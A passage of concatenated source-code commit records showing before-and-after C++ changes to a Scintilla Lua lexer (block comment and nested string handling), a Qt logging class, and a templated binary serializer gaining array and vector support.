initStyle */, WordList *[], Accessor &styler) { unsigned int lengthDoc = startPos + length; int visibleChars = 0; int lineCurrent = styler.GetLine(startPos); int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK; int levelCurrent = levelPrev; char chNext = styler[startPos]; bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0; int styleNext = styler.StyleAt(startPos); char s[10]; for (unsigned int i = startPos; i < lengthDoc; i++) { char ch = chNext; chNext = styler.SafeGetCharAt(i + 1); int style = styleNext; styleNext = styler.StyleAt(i + 1); bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n'); if (style == SCE_LUA_WORD) { if (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') { for (unsigned int j = 0; j < 8; j++) { if (!iswordchar(styler[i + j])) { break; } s[j] = styler[i + j]; s[j + 1] = '\0'; } if ((strcmp(s, "if") == 0) || (strcmp(s, "do") == 0) || (strcmp(s, "function") == 0)) { levelCurrent++; } if ((strcmp(s, "end") == 0) || (strcmp(s, "elseif") == 0)) { levelCurrent--; } } } else if (style == SCE_LUA_OPERATOR) { if (ch == '{' || ch == '(') { levelCurrent++; } else if (ch == '}' || ch == ')') { levelCurrent--; } } else if (style == SCE_LUA_COMMENT || style == SCE_LUA_LITERALSTRING) { if (ch == '[' && chNext == '[') { levelCurrent++; } else if (ch == ']' && chNext == ']') { levelCurrent--; } } if (atEOL) { int lev = levelPrev; if (visibleChars == 0 && foldCompact) { lev |= SC_FOLDLEVELWHITEFLAG; } if ((levelCurrent > levelPrev) && (visibleChars > 0)) { lev |= SC_FOLDLEVELHEADERFLAG; } if (lev != styler.LevelAt(lineCurrent)) { styler.SetLevel(lineCurrent, lev); } lineCurrent++; levelPrev = levelCurrent; visibleChars = 0; } if (!isspacechar(ch)) { visibleChars++; } } // Fill in the real level of the next line, keeping the current flags as they will be filled in later int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK; styler.SetLevel(lineCurrent, levelPrev | flagsNext); } static const char * const luaWordListDesc[] = { "Keywords", "Basic functions", "String & math functions", "I/O & system facilities", "XXX", "XXX", 0 }; LexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, "lua", FoldLuaDoc, luaWordListDesc); <|endoftext|>
<commit_before>// Scintilla source code edit control /** @file LexLua.cxx ** Lexer for Lua language. ** ** Written by Paul Winwood. ** Folder by Alexey Yutkin. ** Modified by Marcos E. Wurzius & Philippe Lhoste **/ #include <stdlib.h> #include <string.h> #include <ctype.h> #include <stdarg.h> #include <stdio.h> #include <fcntl.h> #include "Platform.h" #include "PropSet.h" #include "Accessor.h" #include "StyleContext.h" #include "KeyWords.h" #include "Scintilla.h" #include "SciLexer.h" #define SCE_LUA_LAST_STYLE SCE_LUA_WORD6 static inline bool IsAWordChar(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_'); } inline bool IsAWordStart(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '_'); } inline bool isLuaOperator(char ch) { if (isalnum(ch)) return false; // '.' left out as it is used to make up numbers if (ch == '*' || ch == '/' || ch == '-' || ch == '+' || ch == '(' || ch == ')' || ch == '=' || ch == '{' || ch == '}' || ch == '~' || ch == '[' || ch == ']' || ch == ';' || ch == '<' || ch == '>' || ch == ',' || ch == '.' || ch == '^' || ch == '%' || ch == ':') return true; return false; } static void ColouriseLuaDoc( unsigned int startPos, int length, int initStyle, WordList *keywordlists[], Accessor &styler) { WordList &keywords = *keywordlists[0]; WordList &keywords2 = *keywordlists[1]; WordList &keywords3 = *keywordlists[2]; WordList &keywords4 = *keywordlists[3]; WordList &keywords5 = *keywordlists[4]; WordList &keywords6 = *keywordlists[5]; // Must initialize the literal string nesting level, if we are inside such a string. int literalStringLevel = 0; if (initStyle == SCE_LUA_LITERALSTRING) { literalStringLevel = 1; } // We use states above the last one to indicate nesting level of literal strings if (initStyle > SCE_LUA_LAST_STYLE) { literalStringLevel = initStyle - SCE_LUA_LAST_STYLE + 1; } // Do not leak onto next line if (initStyle == SCE_LUA_STRINGEOL) { initStyle = SCE_LUA_DEFAULT; } StyleContext sc(startPos, length, initStyle, styler); if (startPos == 0 && sc.ch == '#') { sc.SetState(SCE_LUA_COMMENTLINE); } for (; sc.More(); sc.Forward()) { if (sc.atLineStart && (sc.state == SCE_LUA_STRING)) { // Prevent SCE_LUA_STRINGEOL from leaking back to previous line sc.SetState(SCE_LUA_STRING); } // Handle string line continuation if ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) && sc.ch == '\\') { if (sc.chNext == '\n' || sc.chNext == '\r') { sc.Forward(); if (sc.ch == '\r' && sc.chNext == '\n') { sc.Forward(); } continue; } } // Determine if the current state should terminate. if (sc.state == SCE_LUA_OPERATOR) { sc.SetState(SCE_LUA_DEFAULT); } else if (sc.state == SCE_LUA_NUMBER) { if (!IsAWordChar(sc.ch)) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_IDENTIFIER) { if (!IsAWordChar(sc.ch) || (sc.ch == '.')) { char s[100]; sc.GetCurrent(s, sizeof(s)); if (keywords.InList(s)) { sc.ChangeState(SCE_LUA_WORD); } else if (keywords2.InList(s)) { sc.ChangeState(SCE_LUA_WORD2); } else if (keywords3.InList(s)) { sc.ChangeState(SCE_LUA_WORD3); } else if (keywords4.InList(s)) { sc.ChangeState(SCE_LUA_WORD4); } else if (keywords5.InList(s)) { sc.ChangeState(SCE_LUA_WORD5); } else if (keywords6.InList(s)) { sc.ChangeState(SCE_LUA_WORD6); } sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_COMMENTLINE ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_PREPROCESSOR ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_STRING) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\"') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_CHARACTER) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\'') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_LITERALSTRING || sc.state > SCE_LUA_LAST_STYLE) { if (sc.Match('[', '[')) { literalStringLevel++; sc.SetState(SCE_LUA_LAST_STYLE + literalStringLevel - 1); } else if (sc.Match(']', ']') && literalStringLevel > 0) { literalStringLevel--; sc.Forward(); if (literalStringLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (literalStringLevel == 1) { sc.ForwardSetState(SCE_LUA_LITERALSTRING); } else { sc.ForwardSetState(SCE_LUA_LAST_STYLE + literalStringLevel - 1); } } } // Determine if a new state should be entered. if (sc.state == SCE_LUA_DEFAULT) { if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) { sc.SetState(SCE_LUA_NUMBER); } else if (IsAWordStart(sc.ch)) { sc.SetState(SCE_LUA_IDENTIFIER); } else if (sc.Match('\"')) { sc.SetState(SCE_LUA_STRING); } else if (sc.Match('\'')) { sc.SetState(SCE_LUA_CHARACTER); } else if (sc.Match('[', '[')) { literalStringLevel = 1; sc.SetState(SCE_LUA_LITERALSTRING); sc.Forward(); } else if (sc.Match('-', '-')) { sc.SetState(SCE_LUA_COMMENTLINE); sc.Forward(); } else if (sc.Match('$') && sc.atLineStart) { sc.SetState(SCE_LUA_PREPROCESSOR); // Obsolete since Lua 4.0, but still in old code } else if (isLuaOperator(static_cast<char>(sc.ch))) { sc.SetState(SCE_LUA_OPERATOR); } } } sc.Complete(); } static void FoldLuaDoc(unsigned int startPos, int length, int /* initStyle */, WordList *[], Accessor &styler) { unsigned int lengthDoc = startPos + length; int visibleChars = 0; int lineCurrent = styler.GetLine(startPos); int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK; int levelCurrent = levelPrev; char chNext = styler[startPos]; bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0; int styleNext = styler.StyleAt(startPos); char s[10]; for (unsigned int i = startPos; i < lengthDoc; i++) { char ch = chNext; chNext = styler.SafeGetCharAt(i + 1); int style = styleNext; styleNext = styler.StyleAt(i + 1); bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n'); if (style == SCE_LUA_WORD) { if (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') { for (unsigned int j = 0; j < 8; j++) { if (!iswordchar(styler[i + j])) { break; } s[j] = styler[i + j]; s[j + 1] = '\0'; } if ((strcmp(s, "if") == 0) || (strcmp(s, "do") == 0) || (strcmp(s, "function") == 0)) { levelCurrent++; } if ((strcmp(s, "end") == 0) || (strcmp(s, "elseif") == 0)) { levelCurrent--; } } } else if (style == SCE_LUA_OPERATOR) { if (ch == '{' || ch == '(') { levelCurrent++; } else if (ch == '}' || ch == ')') { levelCurrent--; } } if (atEOL) { int lev = levelPrev; if (visibleChars == 0 && foldCompact) { lev |= SC_FOLDLEVELWHITEFLAG; } if ((levelCurrent > levelPrev) && (visibleChars > 0)) { lev |= SC_FOLDLEVELHEADERFLAG; } if (lev != styler.LevelAt(lineCurrent)) { styler.SetLevel(lineCurrent, lev); } lineCurrent++; levelPrev = levelCurrent; visibleChars = 0; } if (!isspacechar(ch)) { visibleChars++; } } // Fill in the real level of the next line, keeping the current flags as they will be filled in later int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK; styler.SetLevel(lineCurrent, levelPrev | flagsNext); } LexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, "lua", FoldLuaDoc); <commit_msg>Patch from Philippe to handle block comments, and the deep nesting of strings and block comments.<commit_after>// Scintilla source code edit control /** @file LexLua.cxx ** Lexer for Lua language. ** ** Written by Paul Winwood. ** Folder by Alexey Yutkin. ** Modified by Marcos E. Wurzius & Philippe Lhoste **/ #include <stdlib.h> #include <string.h> #include <ctype.h> #include <stdarg.h> #include <stdio.h> #include <fcntl.h> #include "Platform.h" #include "PropSet.h" #include "Accessor.h" #include "StyleContext.h" #include "KeyWords.h" #include "Scintilla.h" #include "SciLexer.h" static inline bool IsAWordChar(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_'); } inline bool IsAWordStart(const int ch) { return (ch < 0x80) && (isalnum(ch) || ch == '_'); } inline bool isLuaOperator(char ch) { if (isalnum(ch)) return false; // '.' left out as it is used to make up numbers if (ch == '*' || ch == '/' || ch == '-' || ch == '+' || ch == '(' || ch == ')' || ch == '=' || ch == '{' || ch == '}' || ch == '~' || ch == '[' || ch == ']' || ch == ';' || ch == '<' || ch == '>' || ch == ',' || ch == '.' || ch == '^' || ch == '%' || ch == ':') return true; return false; } static void ColouriseLuaDoc( unsigned int startPos, int length, int initStyle, WordList *keywordlists[], Accessor &styler) { WordList &keywords = *keywordlists[0]; WordList &keywords2 = *keywordlists[1]; WordList &keywords3 = *keywordlists[2]; WordList &keywords4 = *keywordlists[3]; WordList &keywords5 = *keywordlists[4]; WordList &keywords6 = *keywordlists[5]; int currentLine = styler.GetLine(startPos); // Initialize the literal string [[ ... ]] nesting level, if we are inside such a string. int literalStringLevel = 0; if (initStyle == SCE_LUA_LITERALSTRING) { literalStringLevel = styler.GetLineState(currentLine - 1); } // Initialize the block comment --[[ ... ]] nesting level, if we are inside such a comment int blockCommentLevel = 0; if (initStyle == SCE_LUA_COMMENT) { blockCommentLevel = styler.GetLineState(currentLine - 1); } // Do not leak onto next line if (initStyle == SCE_LUA_STRINGEOL) { initStyle = SCE_LUA_DEFAULT; } StyleContext sc(startPos, length, initStyle, styler); if (startPos == 0 && sc.ch == '#') { // shbang line: # is a comment only if first char of the script sc.SetState(SCE_LUA_COMMENTLINE); } for (; sc.More(); sc.Forward()) { if (sc.atLineEnd) { // Update the line state, so it can be seen by next line currentLine = styler.GetLine(sc.currentPos); switch (sc.state) { case SCE_LUA_LITERALSTRING: // Inside a literal string, we set the line state styler.SetLineState(currentLine, literalStringLevel); break; case SCE_LUA_COMMENT: // Block comment // Inside a block comment, we set the line state styler.SetLineState(currentLine, blockCommentLevel); break; default: // Reset the line state styler.SetLineState(currentLine, 0); break; } } if (sc.atLineStart && (sc.state == SCE_LUA_STRING)) { // Prevent SCE_LUA_STRINGEOL from leaking back to previous line sc.SetState(SCE_LUA_STRING); } // Handle string line continuation if ((sc.state == SCE_LUA_STRING || sc.state == SCE_LUA_CHARACTER) && sc.ch == '\\') { if (sc.chNext == '\n' || sc.chNext == '\r') { sc.Forward(); if (sc.ch == '\r' && sc.chNext == '\n') { sc.Forward(); } continue; } } // Determine if the current state should terminate. if (sc.state == SCE_LUA_OPERATOR) { sc.SetState(SCE_LUA_DEFAULT); } else if (sc.state == SCE_LUA_NUMBER) { if (!IsAWordChar(sc.ch)) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_IDENTIFIER) { if (!IsAWordChar(sc.ch) || (sc.ch == '.')) { char s[100]; sc.GetCurrent(s, sizeof(s)); if (keywords.InList(s)) { sc.ChangeState(SCE_LUA_WORD); } else if (keywords2.InList(s)) { sc.ChangeState(SCE_LUA_WORD2); } else if (keywords3.InList(s)) { sc.ChangeState(SCE_LUA_WORD3); } else if (keywords4.InList(s)) { sc.ChangeState(SCE_LUA_WORD4); } else if (keywords5.InList(s)) { sc.ChangeState(SCE_LUA_WORD5); } else if (keywords6.InList(s)) { sc.ChangeState(SCE_LUA_WORD6); } sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_COMMENTLINE ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_PREPROCESSOR ) { if (sc.atLineEnd) { sc.SetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_STRING) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\"') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_CHARACTER) { if (sc.ch == '\\') { if (sc.chNext == '\"' || sc.chNext == '\'' || sc.chNext == '\\') { sc.Forward(); } } else if (sc.ch == '\'') { sc.ForwardSetState(SCE_LUA_DEFAULT); } else if (sc.atLineEnd) { sc.ChangeState(SCE_LUA_STRINGEOL); sc.ForwardSetState(SCE_LUA_DEFAULT); } } else if (sc.state == SCE_LUA_LITERALSTRING) { if (sc.Match('[', '[')) { literalStringLevel++; sc.Forward(); sc.SetState(SCE_LUA_LITERALSTRING); } else if (sc.Match(']', ']') && literalStringLevel > 0) { literalStringLevel--; sc.Forward(); if (literalStringLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } } } else if (sc.state == SCE_LUA_COMMENT) { // Lua 5.0's block comment if (sc.Match('[', '[')) { blockCommentLevel++; sc.Forward(); } else if (sc.Match(']', ']') && blockCommentLevel > 0) { blockCommentLevel--; sc.Forward(); if (blockCommentLevel == 0) { sc.ForwardSetState(SCE_LUA_DEFAULT); } } } // Determine if a new state should be entered. if (sc.state == SCE_LUA_DEFAULT) { if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) { sc.SetState(SCE_LUA_NUMBER); } else if (IsAWordStart(sc.ch)) { sc.SetState(SCE_LUA_IDENTIFIER); } else if (sc.Match('\"')) { sc.SetState(SCE_LUA_STRING); } else if (sc.Match('\'')) { sc.SetState(SCE_LUA_CHARACTER); } else if (sc.Match('[', '[')) { literalStringLevel = 1; sc.SetState(SCE_LUA_LITERALSTRING); sc.Forward(); } else if (sc.Match("--[[")) { // Lua 5.0's block comment blockCommentLevel = 1; sc.SetState(SCE_LUA_COMMENT); sc.Forward(3); } else if (sc.Match('-', '-')) { sc.SetState(SCE_LUA_COMMENTLINE); sc.Forward(); } else if (sc.atLineStart && sc.Match('$')) { sc.SetState(SCE_LUA_PREPROCESSOR); // Obsolete since Lua 4.0, but still in old code } else if (isLuaOperator(static_cast<char>(sc.ch))) { sc.SetState(SCE_LUA_OPERATOR); } } } sc.Complete(); } static void FoldLuaDoc(unsigned int startPos, int length, int /* initStyle */, WordList *[], Accessor &styler) { unsigned int lengthDoc = startPos + length; int visibleChars = 0; int lineCurrent = styler.GetLine(startPos); int levelPrev = styler.LevelAt(lineCurrent) & SC_FOLDLEVELNUMBERMASK; int levelCurrent = levelPrev; char chNext = styler[startPos]; bool foldCompact = styler.GetPropertyInt("fold.compact", 1) != 0; int styleNext = styler.StyleAt(startPos); char s[10]; for (unsigned int i = startPos; i < lengthDoc; i++) { char ch = chNext; chNext = styler.SafeGetCharAt(i + 1); int style = styleNext; styleNext = styler.StyleAt(i + 1); bool atEOL = (ch == '\r' && chNext != '\n') || (ch == '\n'); if (style == SCE_LUA_WORD) { if (ch == 'i' || ch == 'd' || ch == 'f' || ch == 'e') { for (unsigned int j = 0; j < 8; j++) { if (!iswordchar(styler[i + j])) { break; } s[j] = styler[i + j]; s[j + 1] = '\0'; } if ((strcmp(s, "if") == 0) || (strcmp(s, "do") == 0) || (strcmp(s, "function") == 0)) { levelCurrent++; } if ((strcmp(s, "end") == 0) || (strcmp(s, "elseif") == 0)) { levelCurrent--; } } } else if (style == SCE_LUA_OPERATOR) { if (ch == '{' || ch == '(') { levelCurrent++; } else if (ch == '}' || ch == ')') { levelCurrent--; } } if (atEOL) { int lev = levelPrev; if (visibleChars == 0 && foldCompact) { lev |= SC_FOLDLEVELWHITEFLAG; } if ((levelCurrent > levelPrev) && (visibleChars > 0)) { lev |= SC_FOLDLEVELHEADERFLAG; } if (lev != styler.LevelAt(lineCurrent)) { styler.SetLevel(lineCurrent, lev); } lineCurrent++; levelPrev = levelCurrent; visibleChars = 0; } if (!isspacechar(ch)) { visibleChars++; } } // Fill in the real level of the next line, keeping the current flags as they will be filled in later int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK; styler.SetLevel(lineCurrent, levelPrev | flagsNext); } LexerModule lmLua(SCLEX_LUA, ColouriseLuaDoc, "lua", FoldLuaDoc); <|endoftext|>
<commit_before>#include "Logger.h" #include <ctime> #include <QTextStream> DEFINE_SINGLETON_SCOPE( Logger ); Logger::Logger() : mFile( NULL ), mProcessMessages( false ) { } Logger::~Logger() { if( mFile ) { delete mFile; mFile = NULL; } } void Logger::StartProcessing() { mProcessMessages = true; ProcessMessages(); } void Logger::SetLogPath( const QString& path ) { if( mFile ) delete mFile; mFile = new QFile( path ); if( mFile ) { mFile->open( QIODevice::WriteOnly | QIODevice::Text ); } } void Logger::ProcessMessages() { if( !mProcessMessages ) return; for( auto it : mQueue ) { LogEventType type = it.first; const QString& msg = it.second; if( mFile && mFile->isOpen() ) { QTextStream out( mFile ); out << msg; mFile->flush(); } emit NewMessage( type, msg ); } } void Logger::Add( LogEventType type, const char *fmt, ... ) { char buffer[ 4096 ]; // Parse vargs va_list args; va_start( args, fmt ); vsnprintf( buffer, sizeof(buffer), fmt, args ); va_end( args ); // Timestamp char timestamp[ 256 ]; time_t t = time( 0 ); struct tm *now = localtime( &t ); strftime( timestamp, sizeof( timestamp ), "%H:%M:%S", now ); // Decorate char decorated[ 4096 ]; sprintf( decorated, "[%s] %s: %s\n", timestamp, LOG_EVENT_TYPE_NAMES[ type ], buffer ); QString line( decorated ); mQueue.push_back( QPair< LogEventType, QString >( type, line ) ); ProcessMessages(); } <commit_msg>Clear log messages upon processing<commit_after>#include "Logger.h" #include <ctime> #include <QTextStream> DEFINE_SINGLETON_SCOPE( Logger ); Logger::Logger() : mFile( NULL ), mProcessMessages( false ) { } Logger::~Logger() { if( mFile ) { delete mFile; mFile = NULL; } } void Logger::StartProcessing() { mProcessMessages = true; ProcessMessages(); } void Logger::SetLogPath( const QString& path ) { if( mFile ) delete mFile; mFile = new QFile( path ); if( mFile ) { mFile->open( QIODevice::WriteOnly | QIODevice::Text ); } } void Logger::ProcessMessages() { if( !mProcessMessages ) return; for( auto it : mQueue ) { LogEventType type = it.first; const QString& msg = it.second; if( mFile && mFile->isOpen() ) { QTextStream out( mFile ); out << msg; mFile->flush(); } emit NewMessage( type, msg ); } mQueue.clear(); } void Logger::Add( LogEventType type, const char *fmt, ... ) { char buffer[ 4096 ]; // Parse vargs va_list args; va_start( args, fmt ); vsnprintf( buffer, sizeof(buffer), fmt, args ); va_end( args ); // Timestamp char timestamp[ 256 ]; time_t t = time( 0 ); struct tm *now = localtime( &t ); strftime( timestamp, sizeof( timestamp ), "%H:%M:%S", now ); // Decorate char decorated[ 4096 ]; sprintf( decorated, "[%s] %s: %s\n", timestamp, LOG_EVENT_TYPE_NAMES[ type ], buffer ); QString line( decorated ); mQueue.push_back( QPair< LogEventType, QString >( type, line ) ); ProcessMessages(); } <|endoftext|>
<commit_before>/* Copyright (C) 2016 - Gbor "Razzie" Grzsny Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE */ #pragma once #include <cstdint> #include <string> #include <type_traits> namespace raz { class SerializationError : public std::exception { public: virtual const char* what() const { return "Serialization error"; } }; enum SerializationMode { SERIALIZE, DESERIALIZE }; template<class BufferType, bool EndiannessConversion = false> class Serializer : public BufferType { public: template<class... Args> Serializer(Args... args) : BufferType(std::forward<Args>(args)...) { } template<class I> typename std::enable_if_t<std::is_integral<I>::value, Serializer>& operator()(I& i) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { I tmp = i; if (sizeof(I) > 1 && EndiannessConversion && !isBigEndian()) tmp = swapEndianness(tmp); if (BufferType::write(reinterpret_cast<const char*>(&tmp), sizeof(I)) < sizeof(I)) throw SerializationError(); } else { I tmp; if (BufferType::read(reinterpret_cast<char*>(&tmp), sizeof(I)) < sizeof(I)) throw SerializationError(); if (sizeof(I) > 1 && EndiannessConversion && !isBigEndian()) tmp = swapEndianness(tmp); i = tmp; } return *this; } Serializer& operator()(float& f) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint32_t tmp = static_cast<uint32_t>(pack754(f, 32, 8)); (*this)(tmp); } else { uint32_t tmp; (*this)(tmp); f = static_cast<float>(unpack754(tmp, 32, 8)); } return *this; } Serializer& operator()(double& d) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint64_t tmp = pack754(d, 64, 11); (*this)(tmp); } else { uint64_t tmp; (*this)(tmp); d = static_cast<double>(unpack754(tmp, 64, 11)); } return *this; } template<class Allocator> Serializer& operator()(std::basic_string<char, std::char_traits<char>, Allocator>& str) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint32_t len = static_cast<uint32_t>(str.length()); (*this)(len); if (BufferType::write(str.c_str(), len) < len) throw SerializationError(); } else { uint32_t len; (*this)(len); str.resize(len); if (BufferType::read(&str[0], len) < len) throw SerializationError(); } return *this; } template<class T> typename std::enable_if_t<!std::is_arithmetic<T>::value, Serializer>& operator()(T& t) { t(*this); return *this; } private: static constexpr bool isBigEndian() { union { uint32_t i; char c[4]; } chk = { 0x01020304 }; return (chk.c[0] == 1); } template<class T> static T swapEndianness(T t) { union { T t; unsigned char t8[sizeof(T)]; } source, dest; source.t = t; for (size_t i = 0; i < sizeof(T); i++) dest.t8[i] = source.t8[sizeof(T) - i - 1]; return dest.t; } #pragma warning(push) #pragma warning(disable: 4244) // possible loss of data /* Original public domain code: http://beej.us/guide/bgnet/examples/ieee754.c */ static uint64_t pack754(long double f, unsigned bits, unsigned expbits) { long double fnorm; int shift; long long sign, exp, significand; unsigned significandbits = bits - expbits - 1; // -1 for sign bit if (f == 0.0) return 0; // get this special case out of the way // check sign and begin normalization if (f < 0) { sign = 1; fnorm = -f; } else { sign = 0; fnorm = f; } // get the normalized form of f and track the exponent shift = 0; while (fnorm >= 2.0) { fnorm /= 2.0; shift++; } while (fnorm < 1.0) { fnorm *= 2.0; shift--; } fnorm = fnorm - 1.0; // calculate the binary form (non-float) of the significand data significand = fnorm * ((1LL << significandbits) + 0.5f); // get the biased exponent exp = shift + ((1 << (expbits - 1)) - 1); // shift + bias // return the final answer return (sign << (bits - 1)) | (exp << (bits - expbits - 1)) | significand; } static long double unpack754(uint64_t i, unsigned bits, unsigned expbits) { long double result; long long shift; unsigned bias; unsigned significandbits = bits - expbits - 1; // -1 for sign bit if (i == 0) return 0.0; // pull the significand result = (i&((1LL << significandbits) - 1)); // mask result /= (1LL << significandbits); // convert back to float result += 1.0f; // add the one back on // deal with the exponent bias = (1 << (expbits - 1)) - 1; shift = ((i >> significandbits)&((1LL << expbits) - 1)) - bias; while (shift > 0) { result *= 2.0; shift--; } while (shift < 0) { result /= 2.0; shift++; } // sign it result *= (i >> (bits - 1)) & 1 ? -1.0 : 1.0; return result; } #pragma warning(pop) }; template<class T> class IsSerializer { template<class U, bool E> static std::true_type test(Serializer<U, E> const &); static std::false_type test(...); public: static bool const value = decltype(test(std::declval<T>()))::value; }; template<class Serializer, class T = void> using EnableSerializer = std::enable_if_t<IsSerializer<Serializer>::value, T>; } <commit_msg>Added std::array and std::vector compatibility to Serializer<commit_after>/* Copyright (C) 2016 - Gbor "Razzie" Grzsny Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE */ #pragma once #include <array> #include <cstdint> #include <string> #include <vector> #include <type_traits> namespace raz { class SerializationError : public std::exception { public: virtual const char* what() const { return "Serialization error"; } }; enum SerializationMode { SERIALIZE, DESERIALIZE }; template<class BufferType, bool EndiannessConversion = false> class Serializer : public BufferType { public: template<class... Args> Serializer(Args... args) : BufferType(std::forward<Args>(args)...) { } template<class I> typename std::enable_if_t<std::is_integral<I>::value, Serializer>& operator()(I& i) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { I tmp = i; if (sizeof(I) > 1 && EndiannessConversion && !isBigEndian()) tmp = swapEndianness(tmp); if (BufferType::write(reinterpret_cast<const char*>(&tmp), sizeof(I)) < sizeof(I)) throw SerializationError(); } else { I tmp; if (BufferType::read(reinterpret_cast<char*>(&tmp), sizeof(I)) < sizeof(I)) throw SerializationError(); if (sizeof(I) > 1 && EndiannessConversion && !isBigEndian()) tmp = swapEndianness(tmp); i = tmp; } return *this; } Serializer& operator()(float& f) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint32_t tmp = static_cast<uint32_t>(pack754(f, 32, 8)); (*this)(tmp); } else { uint32_t tmp; (*this)(tmp); f = static_cast<float>(unpack754(tmp, 32, 8)); } return *this; } Serializer& operator()(double& d) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint64_t tmp = pack754(d, 64, 11); (*this)(tmp); } else { uint64_t tmp; (*this)(tmp); d = static_cast<double>(unpack754(tmp, 64, 11)); } return *this; } template<class T, size_t N> Serializer& operator()(std::array<T, N>& arr) { for (auto& t : arr) (*this)(t); } template<class Allocator> Serializer& operator()(std::basic_string<char, std::char_traits<char>, Allocator>& str) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint32_t len = static_cast<uint32_t>(str.length()); (*this)(len); if (BufferType::write(str.c_str(), len) < len) throw SerializationError(); } else { uint32_t len; (*this)(len); str.resize(len); if (BufferType::read(&str[0], len) < len) throw SerializationError(); } return *this; } template<class T, class Allocator> Serializer& operator()(std::vector<T, Allocator>& vec) { if (BufferType::getMode() == SerializationMode::SERIALIZE) { uint32_t len = static_cast<uint32_t>(vec.size()); (*this)(len); for (auto& t : vec) (*this)(t); } else { uint32_t len; (*this)(len); vec.resize(vec.size() + len); for (auto& t : vec) (*this)(t); } return *this; } 